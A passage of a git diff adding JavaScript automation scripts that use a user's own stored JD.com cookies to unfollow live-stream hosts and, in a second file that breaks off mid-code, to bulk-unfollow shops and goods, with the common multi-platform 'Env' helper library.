r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_unsubscriLive.js b/jd_unsubscriLive.js new file mode 100644 index 0000000..4bc2753 --- /dev/null +++ b/jd_unsubscriLive.js @@ -0,0 +1,253 @@ +/* +脚本:取关主播 +更新时间:2021-07-27 +默认:每运行一次脚本取关所有主播 + +脚本兼容: Quantumult X, Surge, Loon, JSBox, Node.js, 小火箭 +==============Quantumult X=========== +[task_local] +#取关所有主播 +55 6 * * * jd_unsubscriLive.js, tag=取关所有主播, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true +===========Loon============ +[Script] +cron "55 6 * * *" script-path=jd_unsubscriLive.js,tag=取关所有主播 +============Surge============= +取关所有主播 = type=cron,cronexp="55 6 * * *",wake-system=1,timeout=3600,script-path=jd_unsubscriLive.js +===========小火箭======== +取关所有主播 = type=cron,script-path=jd_unsubscriLive.js, cronexpr="55 6 * * *", timeout=3600, enable=true + */ +const $ = new Env('取关所有主播'); +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; + +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', allMessage = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +!(async () => { + let aid = '' + if (!cookiesArr[0]) { + $.msg('【京东账号一】取关所有主播失败', '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await TotalBean(); + console.log(`\n****开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + allMessage += `京东账号${$.index} - ${$.nickName}\n`; + $.succs = 0; + $.fails = 0; + $.commlist = []; + $.olds = ''; + for (let i = 0; i < 100; i++) { + $.commlist.length = 0; + await GetRawFollowAuthor() + if ($.commlist.length == 0) { break } + for (let m = 0; m < $.commlist.length; m++) { + $.result = false; + $.authorId = $.commlist[m]['authorId'] + $.userName = $.commlist[m]['userName'] + await unsubscribeCartsFun() + if ($.result) { + aid = '&' + $.authorId + '&' + if ($.olds.indexOf(aid) == -1) { + $.succs += 1; + $.olds += aid; + } + $.fails = 0; + } else { + $.fails += 1; + if ($.fails > 4) { break } + } + await sleep(randomNum(800, 2200)) + } + console.log('取关一轮完成,等待3-6秒') + await sleep(randomNum(3000, 6000)) + } + allMessage += `成功取关主播数:${$.succs}\n`; + if ($.fails > 4) { + allMessage += `❗️❗️取关主播连续五次失败❗️❗️\n`; + } + allMessage += '\n' + } + } + if (allMessage) { + allMessage = allMessage.substring(0, allMessage.length - 1) + if ($.isNode() && (process.env.CASH_NOTIFY_CONTROL ? process.env.CASH_NOTIFY_CONTROL === 'false' : !!1)) await notify.sendNotify($.name, allMessage); + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +function sleep(timeout) { + return new Promise((resolve) => setTimeout(resolve, timeout)); +} +function randomNum(minNum, maxNum) { + switch (arguments.length) { + case 1: + return parseInt(Math.random() * minNum + 1, 10); + break; + case 2: + return parseInt(Math.random() * (maxNum - minNum + 1) + minNum, 10); + break; + default: + return 0; + break; + } +} +function unsubscribeCartsFun(author) { + return new Promise(resolve => { + const options = { + "url": `https://m.jingxi.com/jxlive_user/UnFollow?authorId=${$.authorId}&platform=3&_=` + new Date().getTime().toString() + `&sceneval=2&g_login_type=1&callback=jsonpCBKE&g_ty=ls`, + "headers": { + "Host": "m.jingxi.com", + "Accept": "*/*", + "Connection": "keep-alive", + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Accept-Encoding": "gzip, deflate, br", + "Referer": "https://st.jingxi.com/" + } + } + $.get(options, (err, resp, data) => { + if (data.indexOf('iRet":0') > 0) { + $.result = true; + console.log(`取关主播【${$.userName}】成功\n`) + } else { + console.log(`取关主播【${$.userName}】失败:` + data + `\n`) + } + resolve(data); + }); + }) +} + +function getStr(text, start, end) { + + var str = text; + var aPos = str.indexOf(start); + if (aPos < 0) { return null } + var bPos = str.indexOf(end, aPos + start.length); + if (bPos < 0) { return null } + var retstr = str.substr(aPos + start.length, text.length - (aPos + start.length) - (text.length - bPos)); + return retstr; + +} +function GetRawFollowAuthor() { + return new Promise((resolve) => { + const options = { + "url": `https://m.jingxi.com/jxlive_user/GetRawFollowAuthor?pagesize=10&pageno=1&_=` + (new Date().getTime() - 2000).toString() + `&sceneval=2&g_login_type=1&callback=jsonpCBKB&g_ty=ls`, + "headers": { + "Host": "m.jingxi.com", + "Accept": "*/*", + "Connection": "keep-alive", + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Accept-Encoding": "gzip, deflate, br", + "Referer": "https://st.jingxi.com/" + }, + } + //https://m.jingxi.com/jxlive_user/GetRawFollowAuthor?pagesize=10&pageno=1&_=1627380788998&sceneval=2&g_login_type=1&callback=jsonpCBKB&g_ty=ls + $.get(options, (err, resp, data) => { + let userInfo = {}, users = [] + try { + data = JSON.parse(getStr(data, 'jsonpCBKB(', ');')); + if (data.iRet === 0) { + for (let i = 0; i < data['data']['LiveIng'].length; i++) { + users.push({ 'authorId': data['data']['LiveIng'][i]['authorId'], 'userName': data['data']['LiveIng'][i]['userName'] }) + } + for (let i = 0; i < data['data']['PRLive'].length; i++) { + users.push({ 'authorId': data['data']['PRLive'][i]['authorId'], 'userName': data['data']['PRLive'][i]['userName'] }) + } + $.commlist = users + + console.log(`本轮取消主播数:${$.commlist.length}个\n`) + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }); + }) +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } \ No newline at end of file diff --git a/jd_unsubscribe_xh.js b/jd_unsubscribe_xh.js new file mode 100644 index 0000000..ceab670 --- /dev/null +++ b/jd_unsubscribe_xh.js @@ -0,0 +1,799 @@ +/* + * @Author: X1a0He + * @LastEditors: X1a0He + * @Description: 批量取关京东店铺和商品 + * @Fixed: 不再支持Qx,仅支持Node.js + */ +const $ = new Env('批量取关店铺和商品'); +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = ''; +if($.isNode()){ + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if(process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +let args_xh = { + /* + * 跳过某个指定账号,默认为全部账号清空 + * 填写规则:例如当前Cookie1为pt_key=key; pt_pin=pin1;则环境变量填写pin1即可,此时pin1的购物车将不会被清空 + * 若有更多,则按照pin1@pin2@pin3进行填写 + * 环境变量名称:XH_UNSUB_EXCEPT + */ + except: process.env.XH_UNSUB_EXCEPT && process.env.XH_UNSUB_EXCEPT.split('@') || [], + /* + * 是否执行取消关注,默认true + * 可通过环境变量控制:JD_UNSUB + * */ + isRun: process.env.JD_UNSUB === 'true' || true, + /* + * 执行完毕是否进行通知,默认false + * 可用环境变量控制:JD_UNSUB_NOTIFY + * */ + isNotify: process.env.JD_UNSUB_NOTIFY === 'true' || false, + /* + * 每次获取已关注的商品数 + * 可设置环境变量:JD_UNSUB_GPAGESIZE,默认为20,不建议超过20 + * */ + goodPageSize: process.env.JD_UNSUB_GPAGESIZE * 1 || 20, + /* + * 每次获取已关注的店铺数 + * 可设置环境变量:JD_UNSUB_SPAGESIZE,默认为20,不建议超过20 + * */ + shopPageSize: process.env.JD_UNSUB_SPAGESIZE * 1 || 20, + /* + * 商品类过滤关键词,只要商品名内包含关键词,则不会被取消关注 + * 可设置环境变量:JD_UNSUB_GKEYWORDS,用@分隔 + * */ + goodsKeyWords: process.env.JD_UNSUB_GKEYWORDS && process.env.JD_UNSUB_GKEYWORDS.split('@') || [], + /* + * 店铺类过滤关键词,只要店铺名内包含关键词,则不会被取消关注 + * 可设置环境变量:JD_UNSUB_SKEYWORDS,用@分隔 + * */ + shopKeyWords: process.env.JD_UNSUB_SKEYWORDS && process.env.JD_UNSUB_SKEYWORDS.split('@') || [], + /* + * 间隔,防止提示操作频繁,单位毫秒(1秒 = 1000毫秒) + * 可用环境变量控制:JD_UNSUB_INTERVAL,默认为3000毫秒 + * */ + unSubscribeInterval: process.env.JD_UNSUB_INTERVAL * 1 || 1000, + /* + * 是否打印日志 + * 可用环境变量控制:JD_UNSUB_PLOG,默认为true + * */ + printLog: process.env.JD_UNSUB_PLOG === 'true' || true, + /* + * 失败次数,当取关商品或店铺时,如果连续 x 次失败,则结束本次取关,防止死循环 + * 可用环境变量控制:JD_UNSUB_FAILTIMES,默认为3次 + * */ + failTimes: process.env.JD_UNSUB_FAILTIMES || 3 +} +!(async() => { + console.log('X1a0He留:运行前请看好脚本内的注释,日志已经很清楚了,有问题带着日志来问') + if(args_xh.isRun){ + if(!cookiesArr[0]){ + $.msg('【京东账号一】取关京东店铺商品失败', '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + } + await requireConfig(); + for(let i = 0; i < cookiesArr.length; i++){ + if(cookiesArr[i]){ + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await TotalBean(); + console.log(`\n****开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`); + if(args_xh.except.includes($.UserName)){ + console.log(`跳过账号:${$.nickName || $.UserName}`) + continue + } + if(!$.isLogin){ + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + if($.isNode()){ + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + $.shopsKeyWordsNum = 0; + $.goodsKeyWordsNum = 0; + $.unsubscribeGoodsNum = 0; + $.unsubscribeShopsNum = 0; + $.goodsTotalNum = 0 //记录当前总共关注了多少商品 + $.shopsTotalNum = 0; //记录当前总共关注了多少店铺 + $.commIdList = ``; + $.shopIdList = ``; + $.endGoods = $.endShops = false; + $.failTimes = 0; + // console.log(`=====京东账号${$.index} ${$.nickName || $.UserName}内部变量=====`) + // 